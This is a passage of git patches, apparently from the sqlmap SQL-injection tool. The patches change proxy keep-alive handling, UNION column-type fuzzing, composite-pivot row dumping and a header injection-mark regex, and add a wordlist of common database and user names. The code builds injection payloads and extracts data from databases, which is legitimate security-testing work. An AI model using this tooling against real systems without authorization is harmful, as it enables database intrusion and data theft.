+0235aa27d0c8cfe54180f2a003f749065d11bf167923a8189844efd45469c612 lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -47719c926f8975b57b107a698cea7ae2d43b220da38d6b9ad4055b43a560d095 lib/core/settings.py +459f3adf2d8acfe810410faea7fa5bddfc2ee0b1af284413a4a9fd1d11334047 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -219,7 +219,7 @@ a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dn 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py -d1c5e4bda94394b5bb42c3b48b41b73ecb6069c3971af2c54394c9b35c2fed6e lib/request/keepalive.py +ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py diff --git a/lib/core/option.py b/lib/core/option.py index f7d26907483..135643512f6 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1249,10 +1249,12 @@ def _setHTTPHandlers(): handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj)) # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html - # Note: persistent (Keep-Alive) connections are used by default; '--no-keep-alive' opts out, - # and they are automatically disabled when incompatible (HTTP(s) proxy, authentication methods, - # or chunked transfer-encoding of the request body - handled by a dedicated, non-pooling handler) - conf.keepAlive = not conf.noKeepAlive and not conf.proxy and not conf.authType and not conf.chunked + # Note: persistent (Keep-Alive) connections are used by default (including through an HTTP(s) + # proxy - the keep-alive handler pools the proxy socket for plain HTTP and the CONNECT-tunnelled + # socket per origin for HTTPS); '--no-keep-alive' opts out, and they are automatically disabled + # when incompatible (authentication methods, or chunked transfer-encoding of the request body - + # handled by a dedicated, non-pooling handler) + conf.keepAlive = not conf.noKeepAlive and not conf.authType and not conf.chunked if conf.keepAlive: # persistent connections for both HTTP and HTTPS; the keep-alive HTTPS @@ -1261,8 +1263,8 @@ def _setHTTPHandlers(): handlers.remove(httpsHandler) handlers.append(keepAliveHandler) handlers.append(keepAliveHandlerHTTPS) - elif not conf.noKeepAlive and (conf.proxy or conf.authType or conf.chunked): - reason = "an HTTP(s) proxy" if conf.proxy else ("authentication methods" if conf.authType else "chunked transfer-encoding") + elif not conf.noKeepAlive and (conf.authType or conf.chunked): + reason = "authentication methods" if conf.authType else "chunked transfer-encoding" debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason logger.debug(debugMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0a021d5f451..fdfb62707c9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.7" +VERSION = "1.10.7.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/keepalive.py b/lib/request/keepalive.py index 299a5450f59..e3f19264390 100644 --- a/lib/request/keepalive.py +++ b/lib/request/keepalive.py @@ -60,6 +60,22 @@ def _take(self, key): def _give_back(self, key, conn, count): self._pool.conns[key] = [conn, count, time.time()] + @staticmethod + def _takeTunnelHeaders(req): + """ + Pops the Proxy-Authorization header off L{req} (returning it as a dict) so it rides on the + CONNECT request only and is never forwarded through the tunnel to the origin server, mirroring + the stock C{urllib.request.AbstractHTTPHandler.do_open} tunnel setup + """ + + result = {} + for store in (getattr(req, "unredirected_hdrs", None), getattr(req, "headers", None)): + if store: + for name in list(store): + if name.lower() == "proxy-authorization": + result[name] = store.pop(name) + return result + def do_open(self, req): # Note: 'selector'/'host' attributes on Python 3 (Request.get_host() was deprecated since # 3.3 and removed in 3.12); the get_*() fallbacks are only reachable under Python 2 @@ -68,7 +84,14 @@ def do_open(self, req): if not host: raise _urllib.error.URLError("no host given") - key = "%s://%s" % (self._scheme, host) + # When routed through an HTTP(s) proxy, ProxyHandler has already rewritten the request: for a + # plain-HTTP target 'host' is the proxy and the selector is absolute; for an HTTPS target + # '_tunnel_host' holds the origin reached via a CONNECT tunnel. Pool by the tunnel origin when + # tunneling (each origin needs its own tunnelled socket) and by 'host' otherwise (one HTTP-proxy + # socket serves many origins, and a direct connection is keyed by its own host exactly as before). + tunnelHost = getattr(req, "_tunnel_host", None) + tunnelHeaders = self._takeTunnelHeaders(req) if tunnelHost else None + key = "%s://%s" % (self._scheme, tunnelHost or host) conn, count = self._take(key) reused = conn is not None @@ -93,6 +116,8 @@ def do_open(self, req): if conn is None: conn = self._get_connection(host) + if tunnelHost: + conn.set_tunnel(tunnelHost, headers=tunnelHeaders or {}) count = 0 self._send_request(conn, req) response = conn.getresponse() From 1716ad15242e0ae49a10f34edd68b368cb77aa45 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 22:31:37 +0200 Subject: [PATCH 666/853] Minor improvement of UNION detection --- data/txt/sha256sums.txt | 8 ++++---- lib/controller/controller.py | 7 ++++--- lib/core/agent.py | 11 ++++++++++- lib/core/settings.py | 5 ++++- lib/techniques/union/test.py | 18 ++++++++++++++---- 5 files changed, 36 insertions(+), 13 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 1c44cdae192..d39c462344a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -163,10 +163,10 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py 736715a73941a06e5d3d349dd01a1f1b171f54eb4c374c6752b2cc44b0977ffe lib/controller/checks.py -666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py +2086100cd7a78a4e8c12d72bd4f5b414ec6b3f49926e83285494534140e60ce7 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py +48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py f73bbb05c1cfd642e8f556f3047f8418bed07b06f555d445b6f14c03c105b87a lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -459f3adf2d8acfe810410faea7fa5bddfc2ee0b1af284413a4a9fd1d11334047 lib/core/settings.py +c84d55438df9338804398ec3d8bc7b95cb4024dd356db9aeb4ea1cb19edcb794 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -250,7 +250,7 @@ bde75d41ac3e5747b96d2af4c33922573158cb43b48714a28490d6720dd85d89 lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ssti/__init__.py 14637b64878248e5965887b07aa68e62615dac88e2ffc6c3a581430bdd4e309e lib/techniques/ssti/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py -ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py +f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques/union/test.py c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 67b9278b1be..ba27f49aad1 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -561,9 +561,10 @@ def start(): checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None): - if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique: - # NOTE: this is not needed anymore, leaving only to display - # a warning message to the user in case the page is not stable + if not any((conf.string, conf.notString, conf.regexp)) and any(_ in conf.technique for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.UNION)): + # NOTE: besides the not-stable warning, this marks dynamic content for removal, which + # UNION column-count detection relies on too (it compares pages) - so it must run when + # UNION is tested even if BOOLEAN is excluded (e.g. '--technique=U' on a dynamic page) checkStability() # Do a little prioritization reorder of a testable parameter list diff --git a/lib/core/agent.py b/lib/core/agent.py index ec781a43e58..ad67ade14ae 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -958,12 +958,19 @@ def _collate(value): if not infoFile: query = _collate(query) + # A fuzzy-discovered per-column type template (kb.unionTemplate, e.g. ['1234', '%s', '5678']) + # forces type-compatible fillers on strict DBMSes (e.g. Apache Derby, which rejects bare NULL + # and demands UNION column-type parity); '%s' marks the slot carrying the injected expression. + template = kb.unionTemplate if isinstance(kb.unionTemplate, (list, tuple)) and len(kb.unionTemplate) == count else None + for element in xrange(0, count): if element > 0: unionQuery += ',' if conf.uValues and conf.uValues.count(',') + 1 == count: unionQuery += conf.uValues.split(',')[element] + elif template is not None: + unionQuery += query if template[element] == "%s" else template[element] elif element == position: unionQuery += query else: @@ -985,7 +992,9 @@ def _collate(value): if element > 0: unionQuery += ',' - if element == position: + if template is not None: + unionQuery += _collate(multipleUnions) if template[element] == "%s" else template[element] + elif element == position: unionQuery += _collate(multipleUnions) else: unionQuery += char diff --git a/lib/core/settings.py b/lib/core/settings.py index fdfb62707c9..f6a5115e65e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.8" +VERSION = "1.10.7.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -141,6 +141,9 @@ # Upper threshold for starting the fuzz(y) UNION test FUZZ_UNION_MAX_COLUMNS = 10 +# Maximum number of probe requests the fuzz(y) UNION test may issue (bounds its otherwise exponential type-combination search when run automatically) +FUZZ_UNION_MAX_REQUESTS = 80 + # Regular expression used for recognition of generic maximum connection messages MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection" diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 0a8facf784c..5c2022c3a7f 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -38,6 +38,7 @@ from lib.core.enums import PAYLOAD from lib.core.settings import FUZZ_UNION_ERROR_REGEX from lib.core.settings import FUZZ_UNION_MAX_COLUMNS +from lib.core.settings import FUZZ_UNION_MAX_REQUESTS from lib.core.settings import LIMITED_ROWS_TEST_NUMBER from lib.core.settings import MAX_RATIO from lib.core.settings import MIN_RATIO @@ -190,12 +191,14 @@ def _fuzzUnionCols(place, parameter, prefix, suffix): choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True) random.shuffle(choices) + attempts = 0 for candidate in itertools.product(choices, repeat=kb.orderByColumns): - if retVal: + if retVal or attempts >= FUZZ_UNION_MAX_REQUESTS: # bound the exponential type-combination search break elif FUZZ_UNION_COLUMN.STRING not in candidate: continue else: + attempts += 1 candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate] query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix) @@ -332,16 +335,21 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS: if kb.fuzzUnionTest is None: msg = "do you want to (re)try to find proper " - msg += "UNION column types with fuzzy test? [y/N] " + msg += "UNION column types with a fuzzy test? [Y/n] " - kb.fuzzUnionTest = readInput(msg, default='N', boolean=True) + kb.fuzzUnionTest = readInput(msg, default='Y', boolean=True) if kb.fuzzUnionTest: kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix) + # apply the discovered per-column type template through a normal confirmation so + # the resulting vector (and later extraction) is built with type-compatible columns + if kb.unionTemplate: + validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, len(kb.unionTemplate)) + warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " - if not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None: + if not all((validPayload, vector)) and not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " if not readInput(message, default='Y', boolean=True): @@ -380,6 +388,8 @@ def unionTest(comment, place, parameter, value, prefix, suffix): negativeLogic = kb.negativeLogic setTechnique(PAYLOAD.TECHNIQUE.UNION) + kb.unionTemplate = None # reset any per-column type template carried over from a previous parameter + try: if negativeLogic: pushValue(kb.negativeLogic) From c2209d9326c373f7e474d4a7eb6027061c4cb3b5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 23:16:05 +0200 Subject: [PATCH 667/853] Patch related to #5357 --- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 7 +++++-- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d39c462344a..32a95cc13b2 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c84d55438df9338804398ec3d8bc7b95cb4024dd356db9aeb4ea1cb19edcb794 lib/core/settings.py +dba5c2fcdd18d70021f56236551c697587bdc885b5693e5b36c191098980e8fb lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f6a5115e65e..a6bf3aac635 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.9" +VERSION = "1.10.7.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -716,7 +716,10 @@ CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx")) # Patterns often seen in HTTP headers containing custom injection marking character '*' -PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)" +# Note: the ';q=' quality-value class excludes '*' so a user-placed injection mark right after a +# quality value (e.g. 'Accept: ...;q=0.9*') is not swallowed (ref: #5357 - header injection was then +# missed on a GET lacking a Content-Length header, which is otherwise what forces params detection) +PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)" # Template used for common table existence check BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)" From a3bff54cc55ce19a3eac5b54cc6a74d3b11c3b5d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 00:19:31 +0200 Subject: [PATCH 668/853] Fixes #1545 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/utils/pivotdumptable.py | 26 ++++++++++++++++++++++++++ 3 files changed, 29 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 32a95cc13b2..ecb08f953ec 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -dba5c2fcdd18d70021f56236551c697587bdc885b5693e5b36c191098980e8fb lib/core/settings.py +db578cf03ccdb67a0930ebaba6bc8aa1b777e0a09e3cc7d14fef47c5e47f3f5f lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -266,7 +266,7 @@ bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dial 71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py -04b28ad98340a589eb9b21d014c435e8193c2bea3a21af9875b6f23c9b270f1f lib/utils/pivotdumptable.py +dd30ef67da30b666c53013ee32253cd9396ed0e5d0a44d509680742e06ebcd23 lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py 2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237 lib/utils/purge.py diff --git a/lib/core/settings.py b/lib/core/settings.py index a6bf3aac635..23551d478ae 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.10" +VERSION = "1.10.7.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index b1a10adf2f1..96a30d58c89 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -45,6 +45,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): validColumnList = False validPivotValue = False + compositePivot = None if count is None: query = dumpNode.count % table @@ -118,6 +119,26 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): errMsg = "all provided column name(s) are non-existent" raise SqlmapNoneDataException(errMsg) + if not validPivotValue: + # No single column holds all-distinct values. Fall back to a COMPOSITE pivot (a + # concatenation of every column) whose combined value is unique per row, so rows sharing + # a value in every individual column are no longer silently dropped (ref: #1545). + _composite = agent.concatQuery(','.join(colList)) + query = dumpNode.count2 % (_composite, table) + query = agent.whereQuery(query) + value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if isNumPosStrValue(value) and int(value) == count: + infoMsg = "using a concatenation of all columns as a " + infoMsg += "composite pivot for retrieving row data" + logger.info(infoMsg) + + compositePivot = _composite + lengths[compositePivot] = 0 + entries[compositePivot] = BigArray() + colList.insert(0, compositePivot) + validPivotValue = True + if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" @@ -186,4 +207,9 @@ def _(column, pivotValue): logger.critical(errMsg) + # The composite pivot is a synthetic paging key, not a real column - drop it from the output + if compositePivot is not None: + entries.pop(compositePivot, None) + lengths.pop(compositePivot, None) + return entries, lengths From e1126a2a4e3674f24094d92e04f6019423684ef4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 01:12:06 +0200 Subject: [PATCH 669/853] Improving --predict-output --- data/txt/common-outputs.txt | 110 ++++++++++++++++++++++++++++++++++++ data/txt/sha256sums.txt | 6 +- lib/core/common.py | 11 ++++ lib/core/settings.py | 2 +- 4 files changed, 125 insertions(+), 4 deletions(-) diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt index 1df3cd36f81..5df11be3dcb 100644 --- a/data/txt/common-outputs.txt +++ b/data/txt/common-outputs.txt @@ -1364,3 +1364,113 @@ username visible zip zip_code + +# --- real-world application / CMS / framework values (repeated section headers are merged on load) --- +[Databases] +wordpress +wp +drupal +joomla +magento +prestashop +opencart +moodle +mediawiki +phpbb +typo3 +laravel +symfony +django +app +application +webapp +web +website +main +backend +api +cms +shop +store +ecommerce +blog +forum +wiki +crm +erp +billing +sales +accounts +inventory +catalog +orders +payments +customers +members +users +data +db +mydb +appdb +prod +production +dev +staging +qa +demo +sample +employees +sakila +world +classicmodels +dvwa +bwapp +mutillidae +dashboard +defaultdb + +[Users] +admin +administrator +root +sa +postgres +oracle +system +dbadmin +dba +dbo +webadmin +web +www +www-data +apache +nginx +app +appuser +application +service +svc +user +dbuser +guest +test +demo +backup +replication +monitor +readonly +superuser +wordpress +drupal +joomla +magento +laravel +django +symfony +'admin'@'localhost' +'admin'@'%' +'app'@'localhost' +'app'@'%' +'web'@'%' +'wordpress'@'localhost' diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ecb08f953ec..593e3440104 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -25,7 +25,7 @@ c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/sta af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_ eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt 63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt -852b420157bbffb56947e4b201a7df5242e75443ab161049a50235eb4e8e9aae data/txt/common-outputs.txt +4d6a32155dd6b570e5cdae8036efd69d8f8ebab79cb82a4d094c15f35af8b13d data/txt/common-outputs.txt 44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt 522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -f73bbb05c1cfd642e8f556f3047f8418bed07b06f555d445b6f14c03c105b87a lib/core/common.py +e6866a8a8870c345334296e9533042719d32219127fafdda481566b119c3a50d lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ 